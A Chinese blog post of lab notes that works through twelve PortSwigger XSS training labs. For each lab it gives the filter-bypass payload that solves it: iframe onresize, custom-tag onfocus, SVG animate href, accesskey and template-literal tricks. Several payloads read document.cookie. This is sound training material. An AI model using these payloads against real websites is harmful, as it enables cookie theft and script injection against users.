前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Portswigger XSS Lab Notpad(一)

Portswigger XSS Lab Notpad(一)

原创
作者头像
用户6229489
修改2021-03-25 14:17:06
1.3K0
修改2021-03-25 14:17:06
举报

实验地址https://portswigger.net/web-security/all-labs


Lab: Reflected XSS into HTML context with nothing encoded

第一题没什么好说的,最简单的xsspayload

代码语言:javascript
复制
<script>alert('xss')</script>

Lab: Reflected XSS into HTML context with most tags and attributes blocked

阻止了大部分的标签和属性,要求绕过waf并执行document.cookie.

首先Fuzz一波标签和属性,发现能利用的就是body,除了onresize外其他属性都较难触发。

Payload:

代码语言:javascript
复制
<body onresize=alert(document.cooike)> 

这边研究了半天发现还是Not solved,看了实验室备解决方法才发现是需要用户不进行互交,csrf构造代码。

代码语言:javascript
复制
<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E" onload=width=500>

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

题目: 除自定义标签外所有标签都会被拦截。

随便定义了个aaaa标签发现又是未完成,看了文档发现又得需要Go to exploit server

Payloa:

<script>location = "https://your-id.web-security-academy.net/?search=%3Cxss%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert%28document.cookie%29%3E%3C/xss%3E#x"</script>

自定义标签没法用src onerr onload等事件,但是官方payload通过tabindex=1 (规定当使用 "tab" 键进行导航时元素的顺序。) 再通过url#x定位标识符自动获取标签焦点实现onfocus事件。

Lab: Reflected XSS with event handlers and href attributes blocked

题目: 事件和href属性都被ban了,提示说注入矢量并单击矢量弹出警告。

这一题很早时候在学svg黑魔法的时候就做过了,是时候再走一遍流程了。

可以看到除了animate、image、title、svg、a外其他标签和事件都是不支持的。

这题需要利用svg+animate利用attributeName(父元素需要被改变的属性名)

payload :

代码语言:javascript
复制
<svg><a><text x=100 y=100>123</text><animate attributeName=href to=javascript:alert(1)></a></svg>
//在svg内需要加上坐标文字才能显示出来

Lab: Reflected XSS with some SVG markup allowed

题目直说了允许使用SVG标签。

爆破发现animatetransform、image、title、svg标签及onbgin属性可用。

Payload:

代码语言:javascript
复制
 <svg><animatetransform onbegin=alert(1)></svg>  

Lab: Reflected XSS in canonical link tag

题目:将XSS插入Link标签

提示:

ALT+SHIFT+X

  • CTRL+ALT+X
  • Alt+X

随便点一个先翻一下link标签,发现url?PostId=8都在href里,用单引号闭合。

Payload :

代码语言:javascript
复制
?s%27accesskey=%27x%27onclick=%27alert(1)

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

提示:

在搜索和存在单引号和反斜杠转义,结果展示在JavaScript内。需要突破转义调用alert。

代码:

代码语言:javascript
复制
 <script>
var searchTerms = '123123123”//';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
 </script>

这里涉及了html解析标签的机制,浏览器解析标签的顺序是:

遇到<script>标签,去寻找<script>结束标签,然后才解析标签里的内容

所以只需要直接嵌入结束标签即可

代码语言:javascript
复制
</script><script>alert()</script>

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

题目 :

本实验在搜索查询功能中包含一个反映的跨站点脚本漏洞,该漏洞对尖括号进行了编码。 反射发生在JavaScript字符串内。 为了解决此实验室问题,请执行跨站点脚本攻击,该攻击会突破JavaScript字符串并调用Alert函数。

过程:

位置还是和上一题一样,但是是转义了> 。发现单引号可以闭合,所以构造

代码语言:javascript
复制
';alert(1);//

看了官方这样也行'-alert(1)-'

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

题目: 双引号、单引号、尖括号都被转义了,要求突破javascript弹窗。

\’和同时出现时候只将\转义了,所以导致可闭合。

Payload:

代码语言:javascript
复制
 \';alert();//

Lab: Reflected XSS in a JavaScript URL with some characters blocked

题目: 在JavaScript url中 某些字符被拦截。要求输出alert(1337)

看了还以为在留言处,没想到关键代码在其他地方:

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>

尝试一番,奈何太菜。

官方答案:

代码语言:javascript
复制
https://your-lab-id.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

题目: 要求单击评论名称时弹窗

关键代码:

代码语言:javascript
复制
function onclick(event) {
 var tracker = {
 track() {}
 };
 tracker.track('https://url');
}

闭合单引号发现已被转义了,实体编码单引号&apos; &#39;可解析

Payload :

代码语言:javascript
复制
http://123&#39;-alert()-&#39;

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

题目:尖括号,单引号,双引号,反斜杠Unicode编码和反引号转义

代码:

代码语言:javascript
复制
<script>
var message = `0 search results for '123123'`;
document.getElementById('searchMessage').innerText = message;
</script>

这题实在没做出来,查了下是利用js模板及占位符解决的。

${}里边是相当于js代码

例如 : var a = 1; console.log('一共有'+a+'个鸡蛋!')

使用占位符: console.log( `一共有${a}个鸡蛋!` )

一位不愿透露姓名的热心网友
一位不愿透露姓名的热心网友

参考:

https://www.zhihu.com/question/48648714

https://www.136.la/nginx/show-79683.html

https://developer.mozilla.org/zh-CN/docs/Web/SVG

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Lab: Reflected XSS into HTML context with nothing encoded
  • Lab: Reflected XSS into HTML context with most tags and attributes blocked
  • Lab: Reflected XSS into HTML context with all tags blocked except custom ones
  • Lab: Reflected XSS with event handlers and href attributes blocked
  • Lab: Reflected XSS with some SVG markup allowed
  • Lab: Reflected XSS in canonical link tag
  • Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
  • Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
  • Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
  • Lab: Reflected XSS in a JavaScript URL with some characters blocked
  • Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
  • Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档